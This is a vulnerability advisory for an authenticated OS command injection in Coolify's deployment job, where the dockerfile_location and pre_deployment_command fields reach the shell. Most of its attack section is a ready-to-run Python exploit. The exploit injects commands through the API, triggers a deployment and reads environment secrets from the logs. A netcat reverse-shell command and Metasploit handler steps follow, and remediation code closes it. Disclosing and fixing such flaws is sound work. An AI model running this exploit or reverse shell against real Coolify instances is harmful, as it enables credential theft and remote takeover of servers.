Summary
An authenticated remote command injection vulnerability (CWE-78) in Coolify allows users with application "write" permissions to achieve Remote Code Execution (RCE) and Exfiltrate sensitive environment variables (e.g., database credentials, API keys) via deployment logs, even if the build environment isolates the Docker socket.
- Vulnerability Type: CWE-78 (OS Command Injection)
- Severity: Critical (CVSS 10.0)
- Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Prerequisites & Limitations
- Minimum Required Permissions:
write (to update config) + read:sensitive (to read exfiltrated data via logs).
- Bypass: A mechanism exists allowing tokens without explicit
deploy permissions to trigger builds.
- Attack Surface: The overall attack surface is 2-3x larger than initially estimated since administrative/root privileges are not required.
Technical Details
1. dockerfile_location Injection
File: app/Jobs/ApplicationDeploymentJob.php
Input lacks proper shell escaping or input validation, permitting direct command injection using metacharacters like ;, &&, and ```.
// Lines 2976-2978: Traditional build with args
$build_command = $this->wrap_build_command_with_env_export(
"docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}"
);
// Lines 526: Also used in simple dockerfile deployment
executeInDocker($this->deployment_uuid, "echo '$dockerfile_base64' | base64 -d | tee {$this->workdir}{$this->dockerfile_location} > /dev/null"),
2. pre_deployment_command Execution
File: app/Jobs/ApplicationDeploymentJob.php (Lines 3882-3909)
While basic escaping is performed, the function naturally runs native shell commands, making it trivial to dump data straight into build logs.
private function run_pre_deployment_command()
{
if (empty($this->application->pre_deployment_command)) {
return;
}
// ...
$cmd = "sh -c '".str_replace("'", "'\\''", $this->application->pre_deployment_command)."'";
$exec = "docker exec {$containerName} {$cmd}";
$this->execute_remote_command(
[
'command' => $exec,
'hidden' => true,
],
);
}
Proof of Concept (PoC)
Sample Injection Payload:
; echo 'EXPLOIT_START'; echo '--- DUMPING ENV VARS ---'; env; echo '--- END ENV VARS ---'; echo 'EXPLOIT_END'; #
Exploit Script (exploit.py)
import requests
import argparse
import json
import time
import random
import sys
def get_applications(target_url, api_token):
headers = {
'Authorization': f'Bearer {api_token}',
'Accept': 'application/json'
}
url = f"{target_url}/api/v1/applications"
try:
response = requests.get(url, headers=headers)
if response.status_code == 200:
return response.json()
else:
print(f"\033[91m[-] Failed to list applications. Status: {response.status_code}\033[0m")
return None
except Exception as e:
print(f"\033[91m[-] Error listing apps: {e}\033[0m")
return None
def exploit(target_url, api_token, app_uuid, custom_cmd=None):
headers = {
'Authorization': f'Bearer {api_token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
if not custom_cmd:
custom_cmd = (
"echo '--- [SYSTEM INFO] ---'; whoami; id; hostname; "
"echo '--- [NETWORK INFO] ---'; ip a; "
"echo '--- [ENVIRONMENT] ---'; env; "
"echo '--- [ETC HOSTS] ---'; cat /etc/hosts"
)
print(f"\n\033[94m[*] target: {target_url}\033[0m")
print(f"[*] App UUID: {app_uuid}")
print(f"[*] Payload: {custom_cmd}")
injection = f"; {custom_cmd};"
update_url = f"{target_url}/api/v1/applications/{app_uuid}"
update_params = {
"dockerfile_location": f"Dockerfile{injection} {random.randint(100,999)}",
"pre_deployment_command": custom_cmd
}
try:
print("[*] Injecting payload into configuration...")
resp = requests.patch(update_url, headers=headers, json=update_params)
if resp.status_code != 200:
print(f"\033[91m[-] Injection failed: {resp.text}\033[0m")
return
print("\033[92m[+] Config updated. Triggering deployment...\033[0m")
deploy_url = f"{update_url}/start"
resp = requests.post(deploy_url, headers=headers)
if resp.status_code != 200:
print(f"\033[91m[-] Deployment failed: {resp.text}\033[0m")
return
deploy_data = resp.json()
print(f"[DEBUG] Start response: {json.dumps(deploy_data)}")
deployment_uuid = deploy_data.get('deployment_uuid')
if not deployment_uuid:
time.sleep(2)
hist = requests.get(f"{update_url}/deployments", headers=headers).json()
print(f"[DEBUG] History response: {json.dumps(hist)}")
if isinstance(hist, list) and len(hist) > 0:
deployment_uuid = hist[0].get('deployment_uuid')
elif isinstance(hist, dict) and 'deployments' in hist:
deployments = hist.get('deployments', [])
if len(deployments) > 0:
deployment_uuid = deployments[0].get('deployment_uuid')
if not deployment_uuid:
print("\033[91m[-] Could not track deployment.\033[0m")
return
print(f"\033[92m[+] Deployment ID: {deployment_uuid}. Monitoring logs...\033[0m")
monitor_logs(target_url, api_token, deployment_uuid)
except Exception as e:
import traceback
traceback.print_exc()
print(f"\033[91m[-] Critical Error: {e}\033[0m")
def monitor_logs(target_url, api_token, deploy_uuid):
headers = {'Authorization': f'Bearer {api_token}', 'Accept': 'application/json'}
status_url = f"{target_url}/api/v1/deployments/{deploy_uuid}"
last_len = 0
for _ in range(120):
try:
res = requests.get(status_url, headers=headers)
if res.status_code == 200:
data = res.json()
status = data.get('status', '')
logs_raw = data.get('logs')
if logs_raw:
logs = json.loads(logs_raw)
if len(logs) > last_len:
for entry in logs[last_len:]:
out = entry.get('output', '').strip()
if out:
print(f"\033[92m[DEPLOY LOG] {out}\033[0m")
last_len = len(logs)
if status in ['finished', 'failed', 'cancelled']:
print(f"\n\033[94m[*] Deployment {status}.\033[0m")
break
time.sleep(2)
except Exception: break
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Coolify Fully Automated RCE')
parser.add_argument('--url', required=True, help='Coolify URL')
parser.add_argument('--token', required=True, help='API Token')
parser.add_argument('--uuid', help='App UUID (optional, will list if missing)')
parser.add_argument('--cmd', help='Optional custom command')
args = parser.parse_args()
target_uuid = args.uuid
if not target_uuid:
print("[*] UUID not provided. Searching for available applications...")
apps = get_applications(args.url, args.token)
if apps:
print(f"[+] Found {len(apps)} applications:")
for idx, app in enumerate(apps, 1):
name = app.get('name', 'Unknown')
uuid = app.get('uuid', 'No UUID')
description = app.get('description', '')
print(f" [{idx}] {name} - {uuid} {f'({description})' if description else ''}")
while True:
try:
choice = input(f"\nSelect target application (1-{len(apps)}): ").strip()
if not choice.isdigit():
print("[-] Please enter a valid number.")
continue
idx = int(choice)
if 1 <= idx <= len(apps):
selected_app = apps[idx - 1]
target_uuid = selected_app.get('uuid')
print(f"[*] Target selected: {selected_app.get('name')} ({target_uuid})")
break
else:
print(f"[-] Invalid selection. Please choose between 1 and {len(apps)}.")
except Exception as e:
print(f"[-] Error parsing input: {e}")
else:
print("[-] No apps found or unauthorized.")
sys.exit(1)
exploit(args.url, args.token, target_uuid, args.cmd)
Triggering a Reverse Shell
msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_netcat
set LHOST <LHOST>
set LPORT <LPORT>
run
python3 exploit.py --url "<URL COOLIFY>" \
--token "<API TOKENS>" \
--uuid "<UUID APP>" \
--cmd "nc <LHOST> <LPORT> -e /bin/sh"
Remediation
- Sanitize
dockerfile_location Input (in ApplicationDeploymentJob.php):
if ($this->application->dockerfile_location) {
if (!preg_match('/^[a-zA-Z0-9._\-\/]+$/', $this->application->dockerfile_location)) {
throw new \RuntimeException("Invalid dockerfile_location: contains forbidden characters");
}
if (str_contains($this->application->dockerfile_location, '..')) {
throw new \RuntimeException("Invalid dockerfile_location: path traversal detected");
}
$this->dockerfile_location = escapeshellarg($this->application->dockerfile_location);
}
- API-Level Validation (
bootstrap/helpers/api.php):
'dockerfile_location' => [
'string',
'nullable',
'regex:/^[a-zA-Z0-9._\-\/]+$/',
'max:255'
],
- Other Guidelines: Enforce strict allowlists blocking shell metacharacters, fix the deployment permission bypass logic, and audit equivalent fields such as
docker_compose_location.
Summary
An authenticated remote command injection vulnerability (CWE-78) in Coolify allows users with application "write" permissions to achieve Remote Code Execution (RCE) and Exfiltrate sensitive environment variables (e.g., database credentials, API keys) via deployment logs, even if the build environment isolates the Docker socket.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HPrerequisites & Limitations
write(to update config) +read:sensitive(to read exfiltrated data via logs).deploypermissions to trigger builds.Technical Details
1.
dockerfile_locationInjectionFile:
app/Jobs/ApplicationDeploymentJob.phpInput lacks proper shell escaping or input validation, permitting direct command injection using metacharacters like
;,&&, and ```.2.
pre_deployment_commandExecutionFile:
app/Jobs/ApplicationDeploymentJob.php(Lines 3882-3909)While basic escaping is performed, the function naturally runs native shell commands, making it trivial to dump data straight into build logs.
Proof of Concept (PoC)
Sample Injection Payload:
Exploit Script (
exploit.py)Triggering a Reverse Shell
Remediation
dockerfile_locationInput (inApplicationDeploymentJob.php):bootstrap/helpers/api.php):docker_compose_location.